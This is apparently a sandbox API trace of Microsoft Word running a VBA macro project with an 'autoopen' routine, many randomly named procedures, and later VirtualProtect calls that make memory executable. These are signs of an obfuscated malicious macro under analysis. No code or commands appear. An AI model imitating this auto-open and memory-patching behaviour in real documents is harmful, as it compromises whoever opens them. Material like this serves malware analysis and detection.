[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xc, _Src=0x81d0992 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xb, _Src=0x81d0abe | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xc, _Src=0x81d0fd6 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xa, _Src=0x50726e6 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x8, _Src=0x81d11c6 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x81d1236 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x8, _Src=0x81d12ae | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xb, _Src=0x81d1346 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xb, _Src=0x81d1406 | out: _Dst=0x307ef0) returned 0x0
[0029.722] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0xb, _Src=0x81d147e | out: _Dst=0x307ef0) returned 0x0
[0029.723] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x81d156a | out: _Dst=0x307ef0) returned 0x0
[0029.723] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x8, _Src=0x81d165a | out: _Dst=0x307ef0) returned 0x0
[0029.723] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x9, _Src=0x81d1716 | out: _Dst=0x307ef0) returned 0x0
[0029.723] _mbscpy_s (in: _Dst=0x307ef0, _DstSizeInBytes=0x8, _Src=0x81d1802 | out: _Dst=0x307ef0) returned 0x0
[0029.723] CRetailMalloc_Realloc () returned 0x7538a78
[0029.723] CExposedStream::Seek () returned 0x0
[0029.853] CExposedStream::Read () returned 0x0
[0029.854] CRetailMalloc_Alloc () returned 0x74adb78
[0029.854] CRetailMalloc_Alloc () returned 0x1bb50a8
[0029.854] CRetailMalloc_Alloc () returned 0x1bb5188
[0029.854] CRetailMalloc_Alloc () returned 0x75e9850
[0029.854] CRetailMalloc_Alloc () returned 0x757e280
[0029.854] CRetailMalloc_Alloc () returned 0x757e4a8
[0029.854] CRetailMalloc_Alloc () returned 0x7534298
[0029.854] CRetailMalloc_Free () returned 0x1
[0029.854] CRetailMalloc_Alloc () returned 0x7534298
[0029.854] CRetailMalloc_Free () returned 0x1
[0029.854] CRetailMalloc_Alloc () returned 0x7534298
[0029.854] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.855] CRetailMalloc_Alloc () returned 0x7534298
[0029.855] CRetailMalloc_Free () returned 0x1
[0029.856] CRetailMalloc_Alloc () returned 0x7534298
[0029.856] CRetailMalloc_Free () returned 0x1
[0029.856] CRetailMalloc_Alloc () returned 0x7534298
[0029.857] _mbscpy_s (in: _Dst=0x307bfc, _DstSizeInBytes=0x9, _Src=0x81d09ba | out: _Dst=0x307bfc) returned 0x0
[0029.857] CRetailMalloc_Free () returned 0x1
[0029.857] CRetailMalloc_Alloc () returned 0x7534298
[0029.857] CRetailMalloc_Free () returned 0x1
[0029.857] CRetailMalloc_Alloc () returned 0x7534298
[0029.857] CRetailMalloc_Free () returned 0x1
[0029.857] CRetailMalloc_Alloc () returned 0x7534298
[0029.857] CRetailMalloc_Free () returned 0x1
[0029.857] CRetailMalloc_Alloc () returned 0x7534298
[0029.857] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.858] CRetailMalloc_Alloc () returned 0x7534298
[0029.858] CRetailMalloc_Free () returned 0x1
[0029.859] CRetailMalloc_Alloc () returned 0x7534298
[0029.859] CRetailMalloc_Free () returned 0x1
[0029.859] CRetailMalloc_Alloc () returned 0x7534298
[0029.859] CRetailMalloc_Free () returned 0x1
[0029.859] CRetailMalloc_Realloc () returned 0x7604f88
[0029.859] CRetailMalloc_Realloc () returned 0x57b28e8
[0029.859] CRetailMalloc_Alloc () returned 0x76b9190
[0029.859] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0
[0029.859] ITypeLib:RemoteGetLibAttr (in: This=0x75e9628, ppTLibAttr=0x307bd8, pDummy=0x307dc0 | out: ppTLibAttr=0x307bd8, pDummy=0x307dc0*=0x0) returned 0x0
[0029.859] ITypeLib:RemoteGetDocumentation (in: This=0x75e9628, index=-1, refPtrFlags=0x307bd4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0*=0x0) returned 0x0
[0029.860] CRetailMalloc_Realloc () returned 0x757e6d0
[0029.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=72, lpMultiByteStr=0x307c24, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\x06", lpUsedDefaultChar=0x0) returned 72
[0029.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x307d2c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
[0029.860] CRetailMalloc_Realloc () returned 0x757e8f8
[0029.860] IUnknown:AddRef (This=0x75e9628) returned 0x5
[0029.860] ITypeLib:LocalReleaseTLibAttr (This=0x75e9628) returned 0x76121c0
[0029.860] IUnknown:Release (This=0x75e9628) returned 0x4
[0029.860] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5
[0029.860] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0
[0029.860] ITypeLib:RemoteGetLibAttr (in: This=0x75e82c0, ppTLibAttr=0x307bd8, pDummy=0x307dc0 | out: ppTLibAttr=0x307bd8, pDummy=0x307dc0*=0x0) returned 0x0
[0029.860] ITypeLib:RemoteGetDocumentation (in: This=0x75e82c0, index=-1, refPtrFlags=0x307bd4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0*=0x0) returned 0x0
[0029.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=59, lpMultiByteStr=0x307c24, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 59
[0029.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x307d2c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0029.861] IUnknown:AddRef (This=0x75e82c0) returned 0x9
[0029.861] ITypeLib:LocalReleaseTLibAttr (This=0x75e82c0) returned 0x76121c0
[0029.861] IUnknown:Release (This=0x75e82c0) returned 0x8
[0029.861] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50
[0029.861] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5
[0029.861] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0
[0029.861] ITypeLib:RemoteGetLibAttr (in: This=0x5810260, ppTLibAttr=0x307bd8, pDummy=0x307dc0 | out: ppTLibAttr=0x307bd8, pDummy=0x307dc0*=0x0) returned 0x0
[0029.861] ITypeLib:RemoteGetDocumentation (in: This=0x5810260, index=-1, refPtrFlags=0x307bd4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0*=0x0) returned 0x0
[0029.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x307c24, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\stdole2.tlbt Office\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31
[0029.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x307d2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
[0029.862] CRetailMalloc_Alloc () returned 0x757eb20
[0029.862] IUnknown:AddRef (This=0x5810260) returned 0x6
[0029.862] ITypeLib:LocalReleaseTLibAttr (This=0x5810260) returned 0x76121c0
[0029.862] IUnknown:Release (This=0x5810260) returned 0x5
[0029.862] CRetailMalloc_Realloc () returned 0x7604fb8
[0029.862] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2
[0029.862] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2
[0029.863] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 2
[0029.863] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\CNormal") returned 4
[0029.863] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0
[0029.863] wcscpy_s (in: _Destination=0x74fe93c, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0
[0029.869] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x307d90*=0x0 | out: pptlib=0x307d90*=0x757e058) returned 0x0
[0029.869] IUnknown:AddRef (This=0x757e058) returned 0x3
[0029.869] IUnknown:QueryInterface (in: This=0x757e058, riid=0x7278d870*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307da4 | out: ppvObject=0x307da4*=0x0) returned 0x80004002
[0029.869] ITypeLib:RemoteGetLibAttr (in: This=0x757e058, ppTLibAttr=0x307bd8, pDummy=0x307dc0 | out: ppTLibAttr=0x307bd8, pDummy=0x307dc0*=0x0) returned 0x0
[0029.869] ITypeLib:RemoteGetDocumentation (in: This=0x757e058, index=-1, refPtrFlags=0x307bd4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307dc0*=0x0) returned 0x0
[0029.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=69, lpMultiByteStr=0x307c24, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpUsedDefaultChar=0x0) returned 69
[0029.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x307d2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
[0029.869] IUnknown:AddRef (This=0x757e058) returned 0x4
[0029.869] ITypeLib:LocalReleaseTLibAttr (This=0x757e058) returned 0x7611ec8
[0029.870] IUnknown:Release (This=0x757e058) returned 0x3
[0029.870] CRetailMalloc_Free () returned 0x1ac0101
[0029.870] CRetailMalloc_Alloc () returned 0x45139c8
[0029.870] CRetailMalloc_Alloc () returned 0x4513950
[0029.870] CRetailMalloc_Alloc () returned 0x45138d8
[0029.870] CRetailMalloc_Alloc () returned 0x4513860
[0029.870] CRetailMalloc_Alloc () returned 0x76b9430
[0029.870] CRetailMalloc_Alloc () returned 0x76b9388
[0029.871] CRetailMalloc_Alloc () returned 0x76b92e0
[0029.871] CRetailMalloc_Alloc () returned 0x76b9468
[0029.871] CRetailMalloc_Alloc () returned 0x76b94a0
[0029.871] CRetailMalloc_Alloc () returned 0x76b94d8
[0029.871] CRetailMalloc_Alloc () returned 0x76b9510
[0029.871] CRetailMalloc_Alloc () returned 0x76b9548
[0029.872] CRetailMalloc_Alloc () returned 0x76b9580
[0029.872] CRetailMalloc_Alloc () returned 0x76b95b8
[0029.872] CRetailMalloc_Alloc () returned 0x76b95f0
[0029.872] CRetailMalloc_Alloc () returned 0x76b9628
[0029.872] CRetailMalloc_Realloc () returned 0x757ed48
[0029.872] CRetailMalloc_Alloc () returned 0x76b9660
[0029.873] CRetailMalloc_Alloc () returned 0x76b9698
[0029.873] CRetailMalloc_Alloc () returned 0x76b96d0
[0029.875] CRetailMalloc_Alloc () returned 0x76b9708
[0029.875] CRetailMalloc_Alloc () returned 0x76b9740
[0029.876] CRetailMalloc_Alloc () returned 0x76b9778
[0029.876] CRetailMalloc_Alloc () returned 0x76b97b0
[0029.876] CRetailMalloc_Alloc () returned 0x76b97e8
[0029.876] CRetailMalloc_Alloc () returned 0x76b9820
[0029.876] CRetailMalloc_Alloc () returned 0x76b9858
[0029.876] CRetailMalloc_Alloc () returned 0x757ef70
[0029.876] CRetailMalloc_Alloc () returned 0x76b9890
[0029.876] CRetailMalloc_Alloc () returned 0x757f198
[0029.876] CRetailMalloc_Alloc () returned 0x76b98c8
[0029.876] CRetailMalloc_Alloc () returned 0x76b9900
[0029.877] CRetailMalloc_Alloc () returned 0x76050c0
[0029.877] CRetailMalloc_Realloc () returned 0x757f3c0
[0029.877] CRetailMalloc_Free () returned 0x84b0201
[0029.877] CRetailMalloc_Alloc () returned 0x75f0f30
[0029.877] CRetailMalloc_Alloc () returned 0x76050c0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="autoopen") returned 0x102ad9
[0029.877] CRetailMalloc_Alloc () returned 0x7605438
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="KvRCBMNS") returned 0x103d2d
[0029.877] CRetailMalloc_Alloc () returned 0x76051e0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="zxkKZatS") returned 0x10f093
[0029.877] CRetailMalloc_Alloc () returned 0x7605108
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="vwewdzmCG") returned 0x104b91
[0029.877] CRetailMalloc_Alloc () returned 0x7605180
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VWLBafszR") returned 0x103884
[0029.877] CRetailMalloc_Alloc () returned 0x7605198
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBnCAbnNA") returned 0x10ad7c
[0029.877] CRetailMalloc_Alloc () returned 0x76053c0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="mcfddkHaRzY") returned 0x10d760
[0029.877] CRetailMalloc_Alloc () returned 0x7605318
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="nsYNNXGv") returned 0x108ea3
[0029.877] CRetailMalloc_Alloc () returned 0x7605138
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="zmREnrvEYu") returned 0x100e03
[0029.877] CRetailMalloc_Alloc () returned 0x7605078
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="uRXuyvw") returned 0x10dd13
[0029.877] CRetailMalloc_Alloc () returned 0x7605018
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="DWEspxAgu") returned 0x107c42
[0029.877] CRetailMalloc_Alloc () returned 0x76052a0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SzxKTBtfzUZ") returned 0x1009a4
[0029.877] CRetailMalloc_Alloc () returned 0x76050f0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="bktLAfLdCk") returned 0x10fc28
[0029.877] CRetailMalloc_Alloc () returned 0x7605228
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="YxvxhhMgSFb") returned 0x105f14
[0029.877] CRetailMalloc_Alloc () returned 0x76052d0
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="mFAVwZDEr") returned 0x10a813
[0029.877] CRetailMalloc_Alloc () returned 0x7605000
[0029.877] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="MZBKGfp") returned 0x1013f7
[0029.878] CRetailMalloc_Alloc () returned 0x7605390
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="eGBaPury") returned 0x100f87
[0029.878] CRetailMalloc_Alloc () returned 0x76051b0
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="DSZpDyc") returned 0x10cb14
[0029.878] CRetailMalloc_Alloc () returned 0x7605360
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="dgdDpMkuBM") returned 0x1073b3
[0029.878] CRetailMalloc_Alloc () returned 0x7605210
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="sVrCPtvhyn") returned 0x10e877
[0029.878] CRetailMalloc_Alloc () returned 0x76052b8
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="mKMPmybePB") returned 0x108be0
[0029.878] CRetailMalloc_Alloc () returned 0x7604fd0
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="phRPtNpZ") returned 0x1027fe
[0029.878] CRetailMalloc_Alloc () returned 0x7605378
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="CTHgdDf") returned 0x106247
[0029.878] CRetailMalloc_Alloc () returned 0x7605420
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SVLeRzys") returned 0x106fe7
[0029.878] CRetailMalloc_Alloc () returned 0x7605498
[0029.878] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="TGgHgym") returned 0x10a63a
[0029.878] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="autoopen", cchCount1=-1, lpString2="autoopen", cchCount2=-1) returned 2
[0029.878] CRetailMalloc_Alloc () returned 0x75f68b0
[0029.878] CRetailMalloc_Free () returned 0xcf0301
[0029.878] CRetailMalloc_Alloc () returned 0x76052e8
[0029.878] CRetailMalloc_Free () returned 0x83f0201
[0029.879] CRetailMalloc_Alloc () returned 0x76052e8
[0029.879] CRetailMalloc_Free () returned 0x83f0201
[0029.879] CRetailMalloc_Alloc () returned 0x75f68f0
[0029.881] CRetailMalloc_Alloc () returned 0x76052e8
[0029.881] CRetailMalloc_Free () returned 0x83f0201
[0029.881] CRetailMalloc_Alloc () returned 0x75f6930
[0029.883] CRetailMalloc_Alloc () returned 0x76052e8
[0029.883] CRetailMalloc_Free () returned 0x83f0201
[0029.883] CRetailMalloc_Alloc () returned 0x75f6970
[0029.883] CRetailMalloc_Alloc () returned 0x76052e8
[0029.883] CRetailMalloc_Free () returned 0x83f0201
[0029.883] CRetailMalloc_Alloc () returned 0x75f69b0
[0029.883] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f69f0
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6a30
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6a70
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6ab0
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6af0
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6b30
[0029.884] CRetailMalloc_Alloc () returned 0x76052e8
[0029.884] CRetailMalloc_Free () returned 0x83f0201
[0029.884] CRetailMalloc_Alloc () returned 0x75f6b70
[0029.884] CRetailMalloc_Alloc () returned 0x76a7190
[0029.884] CRetailMalloc_Free () returned 0xcfa0401
[0029.884] CRetailMalloc_Alloc () returned 0x75f6bb0
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6bf0
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6c30
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6c70
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6cb0
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6cf0
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6d30
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.885] CRetailMalloc_Alloc () returned 0x75f6d70
[0029.885] CRetailMalloc_Alloc () returned 0x76052e8
[0029.885] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6db0
[0029.886] CRetailMalloc_Alloc () returned 0x76052e8
[0029.886] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6df0
[0029.886] CRetailMalloc_Alloc () returned 0x76052e8
[0029.886] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6e30
[0029.886] CRetailMalloc_Alloc () returned 0x76052e8
[0029.886] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6e70
[0029.886] CRetailMalloc_Alloc () returned 0x76052e8
[0029.886] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6eb0
[0029.886] CRetailMalloc_Alloc () returned 0x76052e8
[0029.886] CRetailMalloc_Free () returned 0x83f0201
[0029.886] CRetailMalloc_Alloc () returned 0x75f6ef0
[0029.886] GetCurrentProcess () returned 0xffffffff
[0029.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98a2, dwSize=0xc) returned 1
[0029.886] VirtualProtect (in: lpAddress=0x75e98a2, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x4) returned 1
[0029.886] GetCurrentProcess () returned 0xffffffff
[0029.886] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98b6, dwSize=0xc) returned 1
[0029.886] VirtualProtect (in: lpAddress=0x75e98b6, dwSize=0xc, flNewProtect=0x40, lpflOldProtect=0x308114 | out: lpflOldProtect=0x308114*=0x40) returned 1
[0029.887] GetCurrentProcess () returned 0xffffffff
[0029.887] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75e98ca, dwSize=0xc) returned 1
